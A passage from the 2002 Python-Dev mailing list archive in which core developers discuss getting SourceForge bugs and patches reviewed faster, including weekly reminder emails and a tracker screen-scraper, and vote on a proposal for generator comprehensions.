In-Reply-To: <15494.41305.915915.637479@beluga.mojam.com>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
Message-ID: <m3hensc117.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> As an "official" developer, I would find it useful to get a summary mailing
> weekly of stuff that's assigned to me.  I have no particular other reason to
> login to SF.

As an *official* developer, I'd hope you glance, from time to time,
over the list of unassigned bugs and see which of those you would like
to work on. Either start from the list of oldest bugs/patches, reading
them all, or start from the most recent ones. If you find a bug that
is already a couple of weeks old and has gotten no feedback, even the
slightest feedback (like: this probably won't get fixed because
changing it would break too many other things) may help the submitter.

Regards,
Martin



From pedroni@inf.ethz.ch  Thu Mar  7 07:10:09 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Thu, 7 Mar 2002 08:10:09 +0100
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
References: <006e01c1c53b$f95f4fc0$52f7a4d8@othello> <m3bse1uzwv.fsf@mira.informatik.hu-berlin.de>
Message-ID: <00ed01c1c5a7$2fa901a0$6d94fea9@newmexico>

From: Martin v. Loewis <martin@v.loewis.de>
> "Raymond Hettinger" <python@rcn.com> writes:
> 
> > Before I send generator comprehension portion to Guido for
> > pronouncement, I would like to get all of your votes +1 or -1 on
> > just the part about Generator Comprehensions.
> 
> +0. I'd like to see an implementation strategy first. Notice that the
> strategy for list comprehension does *not* apply: it is not lazy.
> 

Hypothesis:

Given that a frame, new scope and nested scope semantics
is required the rewriting as a generator is probably the strategy,
although I don't know whether the CPython internal syntax trees
allow for a direct rewriting strategy.

Otherwise code that handles the syntax as if it was
the rewritten generator is needed, in order to the deal
both for the pass that gathers nested scope
information and for the pass that generates the code.

regards, Samuele Pedroni.



From martin@v.loewis.de  Thu Mar  7 07:09:08 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 07 Mar 2002 08:09:08 +0100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
Message-ID: <m3d6ygc0rv.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> I wasn't thinking about it quite like that.  I was thinking more along the
> lines of a subset of people would volunteer to do the triage, passing it off
> between themselves at the rotation boundaries.  That's more-or-less how
> Cameron Laird does it for the weekly Python URL stuff.

I quite agree with Guido that no further formal procedure is
needed. Those of us that do look into bug reports on a regular basis
probably agree: for the new reports, it is easy to see whether there
has been any response at all, as reports age, it might be necessary to
study an issue in more detail even if there had been responses from
your usual suspects.

> Well, like most people, I need occasional re-reminding. ;-)

If "occasional" means "once a month": I can setup a cron job to send
you a message automatically :-)

Regards,
Martin


From martin@v.loewis.de  Thu Mar  7 07:28:00 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 07 Mar 2002 08:28:00 +0100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <LCEPIIGDJPKCOIHOBJEPIEPPFDAA.mhammond@skippinet.com.au>
References: <LCEPIIGDJPKCOIHOBJEPIEPPFDAA.mhammond@skippinet.com.au>
Message-ID: <m38z94bzwf.fsf@mira.informatik.hu-berlin.de>

"Mark Hammond" <mhammond@skippinet.com.au> writes:

> Let me first get the most benign comments out of the way first: I hate
> sourceforge's bug manager!!  

I quite like it.

> I have fallen in love with bugzilla, as it works oh-so well.  I know
> it is too easy to blame the tools, but having a discrete CC list
> per-bug really works well.

Not sure what that is, but on SF, there is a "discrete CC list" as
well: You can easily add yourself to the CC list, by commenting;
removing yourself is not supported, but I don't see the need: Just
delete the messages you don't want.

> At the moment I have 129 unread messages in my python-bugs folder -
> only because I wiped it out a week or so ago.

If I get a follow up on a bug report that I don't care about, I just
delete the message - I won't have time to go back to it for the next
25 years, at which time I can find the issue (and the text I just
received) quite easily.

> However, I think the real problem lies in the basic fact that developers
> tend to scratch their itches.  Python is mature enough that many of the bugs
> are obscure and don't really affect anyone in the main Python community.

I agree; this indeed is the reason for the status quo.

> In the example that spawned this thread:  Jonathon could mail me saying
> "could you please have a look at bug xxx.  It has been reviewed by Skip and
> isn't really that deep".  I would say "sure", and have a cursory look at the
> bug, noting Skip's comments.  Worst case I would ask a few question to try
> and make me look clever, fail miserably, and apply the patch locally.  I
> would build Linux and Windows, and run the test suite.  Then just check it
> in.

I think this process could work: it makes it ultimately the
responsibility of the patch author to get her patch into shape. It
also does not need any change in software infrastructure: those parts
of the process that deal with assigning/unassigning would always be
initiated by the patch submitter.

There will be always patches where the submitter does not care about
whether it gets in or not, either; those may remain unreviewed under
this process. I think nobody would have a problem with that.

Then, there are patches where authors care but don't know how to
advance it: for those, it would be good if someone would write up your
proposal and stick it into the SF FAQ, or Andrew's python-dev
document.

Finally, this process does not help with bugs that have no patches; I
guess Mozilla has no recipe for these, either - it comes back to your
observation that few people care about obscure problems.

Regards,
Martin



From martin@v.loewis.de  Thu Mar  7 08:09:17 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 07 Mar 2002 09:09:17 +0100
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <00ed01c1c5a7$2fa901a0$6d94fea9@newmexico>
References: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
 <m3bse1uzwv.fsf@mira.informatik.hu-berlin.de>
 <00ed01c1c5a7$2fa901a0$6d94fea9@newmexico>
Message-ID: <m3wuwo94uq.fsf@mira.informatik.hu-berlin.de>

"Samuele Pedroni" <pedroni@inf.ethz.ch> writes:

> Given that a frame, new scope and nested scope semantics
> is required the rewriting as a generator is probably the strategy,
> although I don't know whether the CPython internal syntax trees
> allow for a direct rewriting strategy.

In turn, the bytecode for this will involve another code object, as
well as a MAKE_FUNCTION execution, cell objects, and the like. My gut
feeling is that many people will be surprised by the poor performance
of generator comprehension, compared to list comprehension. They also
might be surprised when they get cyclic garbage they didn't expect,
but I'm not sure under what circumstances this might happen.

Regards,
Martin





From rnd@onego.ru  Thu Mar  7 08:17:55 2002
From: rnd@onego.ru (Roman Suzi)
Date: Thu, 7 Mar 2002 11:17:55 +0300 (MSK)
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <2F65BBB8-3148-11D6-A550-003065517236@oratrix.com>
Message-ID: <Pine.LNX.4.30.0203071116240.826-100000@suzi.com.onego.ru>

T24gV2VkLCA2IE1hciAyMDAyLCBKYWNrIEphbnNlbiB3cm90ZToNCg0KPiA+IKCgoCBJZiBh
IGxpc3QgY29tcHJlaGVuc2lvbiBzdGFydHMgd2l0aCBhICd5aWVsZCcga2V5d29yZCwgdGhl
bg0KPiA+IKCgoCBleHByZXNzIHRoZSBjb21wcmVoZW5zaW9uIHdpdGggYSBnZW5lcmF0b3Iu
oCBGb3IgZXhhbXBsZToNCj4gPg0KPiA+IKCgoKCgoKAgZyA9IFt5aWVsZCAobGVuKGxpbmUp
LGxpbmUpoCBmb3IgbGluZSBpbiBmaWxloCBpZg0KPiA+IGxlbihsaW5lKT41XQ0KPiA+IKCg
oKCgoKAgcHJpbnQgZy5uZXh0KCkNCj4gPg0KPiA+IKCgoCBUaGlzIHdvdWxkIGJlIGltcGxl
bWVudGVkIGFzIGlmIGl0IGhhZCBiZWVuIHdyaXR0ZW46DQo+ID4NCj4gPiCgoKCgoKCgIGRl
ZiBfX3RlbXBHZW5Db21wKHNlbGYpOg0KPiA+IKCgoKCgoKCgoKCgIGZvciBsaW5lIGluIGZp
bGU6DQo+ID4goKCgoKCgoKCgoKCgoKCgIGlmIGxlbihsaW5lKSA+IDU6DQo+ID4goKCgoKCg
oKCgoKCgoKCgoKCgoCB5aWVsZCAobGVuKGxpbmUpLCBsaW5lKQ0KPiA+IKCgoKCgoKAgZyA9
IF9fdGVtcEdlbkNvbXAoKQ0KPiA+IKCgoKCgoKAgcHJpbnQgZy5uZXh0KCkNCj4NCg0KKzEN
Cg0KDQpTaW5jZXJlbHkgeW91cnMsIFJvbWFuIEEuU3V6aQ0KLS0gDQogLSBQZXRyb3phdm9k
c2sgLSBLYXJlbGlhIC0gUnVzc2lhIC0gbWFpbHRvOnJuZEBvbmVnby5ydSAtDQoNCg0K


From fredrik@pythonware.com  Thu Mar  7 09:40:58 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 7 Mar 2002 10:40:58 +0100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>              <15494.41305.915915.637479@beluga.mojam.com>  <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <012501c1c5bc$31236010$0900a8c0@spiff>

guido wrote:
> Jeremy has a script to send out reminders to everyone that he
> used to run weekly, but it doesn't seem to have any effect on the
> speed with which people look at bugs.

fwiw, I wouldn't mind if he started running it again...

</F>



From mwh@python.net  Thu Mar  7 09:52:54 2002
From: mwh@python.net (Michael Hudson)
Date: 07 Mar 2002 09:52:54 +0000
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Guido van Rossum's message of "Wed, 06 Mar 2002 20:31:09 -0500"
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2my9h4vh55.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> When something's assigned to you, you get an email.  Isn't that
> enough?  Jeremy has a script to send out reminders to everyone that he
> used to run weekly, but it doesn't seem to have any effect on the
> speed with which people look at bugs.

I think a "new bugs&patches this week" email wouldn't hurt.  Perhaps
just "new patches", actually -- as Martin pointed out, these are
probably more important.  Plus there are less of them, which is no bad
thing.

Cheers,
M.

-- 
42. You can measure a programmer's perspective by noting his
    attitude on the continuing vitality of FORTRAN.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From skip@pobox.com  Thu Mar  7 11:42:45 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 05:42:45 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <m3d6ygc0rv.fsf@mira.informatik.hu-berlin.de>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
 <m3d6ygc0rv.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15495.21045.993673.195267@12-248-41-177.client.attbi.com>

    >> Well, like most people, I need occasional re-reminding. ;-)

    Martin> If "occasional" means "once a month": I can setup a cron job to
    Martin> send you a message automatically :-)

As /F mentioned, it would be nice if Jeremy started running his reminder
script again.

Skip


From skip@pobox.com  Thu Mar  7 11:49:53 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 05:49:53 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203070224.g272OGv18565@pcp742651pcs.reston01.va.comcast.net>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
 <200203070224.g272OGv18565@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15495.21473.643078.416228@12-248-41-177.client.attbi.com>

    >> I wasn't thinking about it quite like that.  I was thinking more
    >> along the lines of a subset of people would volunteer to do the
    >> triage, passing it off between themselves at the rotation boundaries.
    >> That's more-or-less how Cameron Laird does it for the weekly Python
    >> URL stuff.

    Guido> Maybe you'd like to help organize this?

Martin thinks it's unnecessary.  I suspect he pays as much attention to
incoming bugs as anyone, so let's pass on this for the time being.
Instead...

    >> I suggest you post an announcement to c.l.py.  I don't know where
    >> best to have them reply.  Sending mail to guido@python.org would
    >> clearly not be the right place.  Python-dev wouldn't normally be the
    >> right place for this either, but that's where all the people
    >> qualified to do the reference checks hang out.

    Guido> I'd like to delegate this.  Maybe you can send out an
    Guido> announcement and read through the applications, forwarding only
    Guido> the ones that look good to me.  You may have to think a bit about
    Guido> what to write in the announcement, but please do it without
    Guido> asking me -- I need to delegate more!

I can do this.  I'll send a note to c.l.py soliciting requests to be added
to the developers list.  How about one more level of indirection.  I will
prioritize the responses then forward them to anyone on this list who's
interested in participating in the review process.  Those people can then
pass along the usual +1/0/-1 (to me or Guido) with or without further
explanation, as they see fit.

I'll try to get a post out this morning.  We can decide how to handle the
details of the review process in parallel with the responses arriving.

Skip


From guido@python.org  Thu Mar  7 14:10:48 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 07 Mar 2002 09:10:48 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "07 Mar 2002 09:52:54 GMT."
 <2my9h4vh55.fsf@starship.python.net>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <2my9h4vh55.fsf@starship.python.net>
Message-ID: <200203071410.g27EAmY22952@pcp742651pcs.reston01.va.comcast.net>

> I think a "new bugs&patches this week" email wouldn't hurt.  Perhaps
> just "new patches", actually -- as Martin pointed out, these are
> probably more important.  Plus there are less of them, which is no bad
> thing.

Ah, the "new this week" makes this interesting and different from what
we have.  I would definitely like to see both new bugs & patches.

I can imagine some more features:

- resolved items this week (good for morale, assuming it's a number > 0)

- active items (items that had at least one comment added or other
  status change)

- comatose items (items with exceptionally long inactivity)

- unassigned items

- new unassigned items with no comments added (those are the ones that
  need triage most dearly)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Thu Mar  7 14:19:34 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 08:19:34 -0600
Subject: [Python-Dev] missing a lightning talk
Message-ID: <15495.30454.536932.803128@12-248-41-177.client.attbi.com>

There was a lightning talk at IPC10 about a cataloging server that would
talk to multiple installation tools (ciphon, ActiveState, etc).  The name of
the tool escapes me and I don't recall the author's name.  His talk was near
the end.  I didn't see it mentioned on the lightning talks page:

    http://www.python.org/workshops/2002-02/lightning.html

Does anyone recall who and what I'm referring to?  As an added plus, do you
have contact info?  If nothing else, I'd like to get it added to the above
page.

Thx,

Skip


From guido@python.org  Thu Mar  7 14:27:43 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 07 Mar 2002 09:27:43 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "Thu, 07 Mar 2002 05:49:53 CST."
 <15495.21473.643078.416228@12-248-41-177.client.attbi.com>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net> <15494.51077.292219.192496@12-248-41-177.client.attbi.com> <200203070224.g272OGv18565@pcp742651pcs.reston01.va.comcast.net>
 <15495.21473.643078.416228@12-248-41-177.client.attbi.com>
Message-ID: <200203071427.g27ERh523095@pcp742651pcs.reston01.va.comcast.net>

>     >> I wasn't thinking about it quite like that.  I was thinking more
>     >> along the lines of a subset of people would volunteer to do the
>     >> triage, passing it off between themselves at the rotation boundaries.
>     >> That's more-or-less how Cameron Laird does it for the weekly Python
>     >> URL stuff.
> 
>     Guido> Maybe you'd like to help organize this?

[Skip]
> Martin thinks it's unnecessary.  I suspect he pays as much attention to
> incoming bugs as anyone, so let's pass on this for the time being.

OK, although at times I've got the feeling that Martin could really
use some help -- he's doing an admirable job, but it feels thankless...

> Instead...

>     >> I suggest you post an announcement to c.l.py.  I don't know where
>     >> best to have them reply.  Sending mail to guido@python.org would
>     >> clearly not be the right place.  Python-dev wouldn't normally be the
>     >> right place for this either, but that's where all the people
>     >> qualified to do the reference checks hang out.
> 
>     Guido> I'd like to delegate this.  Maybe you can send out an
>     Guido> announcement and read through the applications, forwarding only
>     Guido> the ones that look good to me.  You may have to think a bit about
>     Guido> what to write in the announcement, but please do it without
>     Guido> asking me -- I need to delegate more!
> 
> I can do this.  I'll send a note to c.l.py soliciting requests to be added
> to the developers list.  How about one more level of indirection.  I will
> prioritize the responses then forward them to anyone on this list who's
> interested in participating in the review process.  Those people can then
> pass along the usual +1/0/-1 (to me or Guido) with or without further
> explanation, as they see fit.
> 
> I'll try to get a post out this morning.  We can decide how to handle the
> details of the review process in parallel with the responses arriving.

Excellent!

the less I need to be involved, the better it sounds to me. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From akuchlin@mems-exchange.org  Thu Mar  7 14:46:34 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Thu, 7 Mar 2002 09:46:34 -0500
Subject: [Python-Dev] missing a lightning talk
In-Reply-To: <15495.30454.536932.803128@12-248-41-177.client.attbi.com>
References: <15495.30454.536932.803128@12-248-41-177.client.attbi.com>
Message-ID: <20020307144634.GA23448@ute.mems-exchange.org>

On Thu, Mar 07, 2002 at 08:19:34AM -0600, Skip Montanaro wrote:
>Does anyone recall who and what I'm referring to?  As an added plus, do you
>have contact info?  If nothing else, I'd like to get it added to the above
>page.

Kapil Thangavelu's Gideon. (http://www.zope.org/Members/k_vertigo/Products/Gideon)
A prototype server is at http://66.123.57.58:8080 .

--amk



From mwh@python.net  Thu Mar  7 15:15:29 2002
From: mwh@python.net (Michael Hudson)
Date: 07 Mar 2002 15:15:29 +0000
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Guido van Rossum's message of "Thu, 07 Mar 2002 09:10:48 -0500"
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net> <2my9h4vh55.fsf@starship.python.net> <200203071410.g27EAmY22952@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2mzo1kcstq.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> > I think a "new bugs&patches this week" email wouldn't hurt.  Perhaps
> > just "new patches", actually -- as Martin pointed out, these are
> > probably more important.  Plus there are less of them, which is no bad
> > thing.
> 
> Ah, the "new this week" makes this interesting and different from what
> we have.  I would definitely like to see both new bugs & patches.
> 
> I can imagine some more features:
> 
> - resolved items this week (good for morale, assuming it's a number > 0)

I think it usually will be.

> - active items (items that had at least one comment added or other
>   status change)
> 
> - comatose items (items with exceptionally long inactivity)

There may be rather a lot of these :(

> - unassigned items

Ditto :(

> - new unassigned items with no comments added (those are the ones that
>   need triage most dearly)



How would one implement this?  A screen-scraper?  Does someone have
one already written?

Cheers,
M.

-- 
  ... with these conditions cam the realisation that ... nothing
  turned a perfectly normal healthy individual into a great political
  or military leader better than irreversible brain damage.
                   -- The Hitch-Hikers Guide to the Galaxy, Episode 11


From guido@python.org  Thu Mar  7 15:38:04 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 07 Mar 2002 10:38:04 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "07 Mar 2002 15:15:29 GMT."
 <2mzo1kcstq.fsf@starship.python.net>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net> <2my9h4vh55.fsf@starship.python.net> <200203071410.g27EAmY22952@pcp742651pcs.reston01.va.comcast.net>
 <2mzo1kcstq.fsf@starship.python.net>
Message-ID: <200203071538.g27Fc4P23372@pcp742651pcs.reston01.va.comcast.net>

> How would one implement this?  A screen-scraper?  Does someone have
> one already written?

Jeremy has a screen-scraper somewhere.  SF also offers XML of the
entire tracker database to project admins, but unfortunately it
appears to be broken.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Thu Mar  7 15:41:19 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Thu, 7 Mar 2002 10:41:19 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203071538.g27Fc4P23372@pcp742651pcs.reston01.va.comcast.net>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <2my9h4vh55.fsf@starship.python.net>
 <200203071410.g27EAmY22952@pcp742651pcs.reston01.va.comcast.net>
 <2mzo1kcstq.fsf@starship.python.net>
 <200203071538.g27Fc4P23372@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15495.35359.46705.580488@grendel.zope.com>

Guido van Rossum writes:
 > Jeremy has a screen-scraper somewhere.  SF also offers XML of the
 > entire tracker database to project admins, but unfortunately it
 > appears to be broken.

At the moment, it seems to always return an empty file and no HTTP
error.  This is not specific to the Python project.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From barry@zope.com  Thu Mar  7 15:46:50 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 7 Mar 2002 10:46:50 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <2my9h4vh55.fsf@starship.python.net>
Message-ID: <15495.35690.471367.60220@anthem.wooz.org>

>>>>> "MH" == Michael Hudson <mwh@python.net> writes:

    MH> I think a "new bugs&patches this week" email wouldn't hurt.
    MH> Perhaps just "new patches", actually -- as Martin pointed out,
    MH> these are probably more important.  Plus there are less of
    MH> them, which is no bad thing.

Somewhat related: I have on my plate to once again attempt an
automated way of sucking down backups of the SF tracker data.
Jeremy's script screen scraped all the html pages, IIRC, and then
threw them into a db, from which is nag scripts were driven.  All the
backend stuff should still work even with a better front-end data
sucker, and I propose that he check his stuff into nondist somewhere
so the lot of us can tweak and tune it.

-Barry


From barry@zope.com  Thu Mar  7 16:00:08 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 7 Mar 2002 11:00:08 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <2my9h4vh55.fsf@starship.python.net>
 <200203071410.g27EAmY22952@pcp742651pcs.reston01.va.comcast.net>
 <2mzo1kcstq.fsf@starship.python.net>
 <200203071538.g27Fc4P23372@pcp742651pcs.reston01.va.comcast.net>
 <15495.35359.46705.580488@grendel.zope.com>
Message-ID: <15495.36488.927796.112460@anthem.wooz.org>

>>>>> "Fred" == Fred L Drake, Jr <fdrake@acm.org> writes:

    >> Jeremy has a screen-scraper somewhere.  SF also offers XML of
    >> the entire tracker database to project admins, but
    >> unfortunately it appears to be broken.

    Fred> At the moment, it seems to always return an empty file and
    Fred> no HTTP error.  This is not specific to the Python project.

Maybe that's why the SF site (almost) always seems to be "down for
maintenance" when I try to hit project pages <wink>.

-Barry



From mwh@python.net  Thu Mar  7 16:15:23 2002
From: mwh@python.net (Michael Hudson)
Date: 07 Mar 2002 16:15:23 +0000
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: barry@zope.com's message of "Thu, 7 Mar 2002 10:46:50 -0500"
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net> <2my9h4vh55.fsf@starship.python.net> <15495.35690.471367.60220@anthem.wooz.org>
Message-ID: <2meliwwe04.fsf@starship.python.net>

barry@zope.com (Barry A. Warsaw) writes:

> >>>>> "MH" == Michael Hudson <mwh@python.net> writes:
> 
>     MH> I think a "new bugs&patches this week" email wouldn't hurt.
>     MH> Perhaps just "new patches", actually -- as Martin pointed out,
>     MH> these are probably more important.  Plus there are less of
>     MH> them, which is no bad thing.
> 
> Somewhat related: I have on my plate to once again attempt an
> automated way of sucking down backups of the SF tracker data.
> Jeremy's script screen scraped all the html pages, IIRC, and then
> threw them into a db, from which is nag scripts were driven.  All the
> backend stuff should still work even with a better front-end data
> sucker, and I propose that he check his stuff into nondist somewhere
> so the lot of us can tweak and tune it.

This seems like A Plan.

Cheers,
M.
PS:  Some fiddling means one can now visit
  http://python.net/crew/mwh/py/bug/<num>
or
  http://python.net/crew/mwh/py/patch/<num>
and get redirected to the appropriate place on sf.  The long & hard to 
type urls were getting on my nerves.

-- 
  Hmmm... its Sunday afternoon: I could do my work, or I could do a
  Fourier analysis of my computer's fan noise.
       -- Amit Muthu, ucam.chat (from Owen Dunn's summary of the year)


From jeremy@zope.com  Thu Mar  7 16:35:41 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 07 Mar 2002 11:35:41 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <2mzo1kcstq.fsf@starship.python.net>
Message-ID: <web-3680919@digicool.com>

On 07 Mar 2002 15:15:29 +0000
 Michael Hudson <mwh@python.net> wrote:
> How would one implement this?  A screen-scraper?  Does
> someone have
> one already written?

I have a mostly complete screen scraper:
    https://sourceforge.net/projects/sftools/

As I recall, the SF project is broken because the
permissions are wrong in the CVS repository.  I can submit
an admin request for that to happen.

It might be productive for Guido to send a note to Pat
McGovern and ask.  The tracker is implemented with a
relational database.  What we really want is a way to write
custom queries and reports for that database?  The
screenscaper is a tedious an expensive way to accomplish
that.  I don't know if SF has considered or would be willing
to let us run the queries.

Jeremy


From fdrake@acm.org  Thu Mar  7 16:46:26 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Thu, 7 Mar 2002 11:46:26 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <web-3680919@digicool.com>
References: <2mzo1kcstq.fsf@starship.python.net>
 <web-3680919@digicool.com>
Message-ID: <15495.39266.904091.73767@grendel.zope.com>

Jeremy Hylton writes:
 > I have a mostly complete screen scraper:
 >     https://sourceforge.net/projects/sftools/
 > 
 > As I recall, the SF project is broken because the
 > permissions are wrong in the CVS repository.  I can submit
 > an admin request for that to happen.

Yes indeed!  No one can help with the project if you don't get it set
up so we can.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From jeremy@zope.com  Thu Mar  7 17:13:51 2002
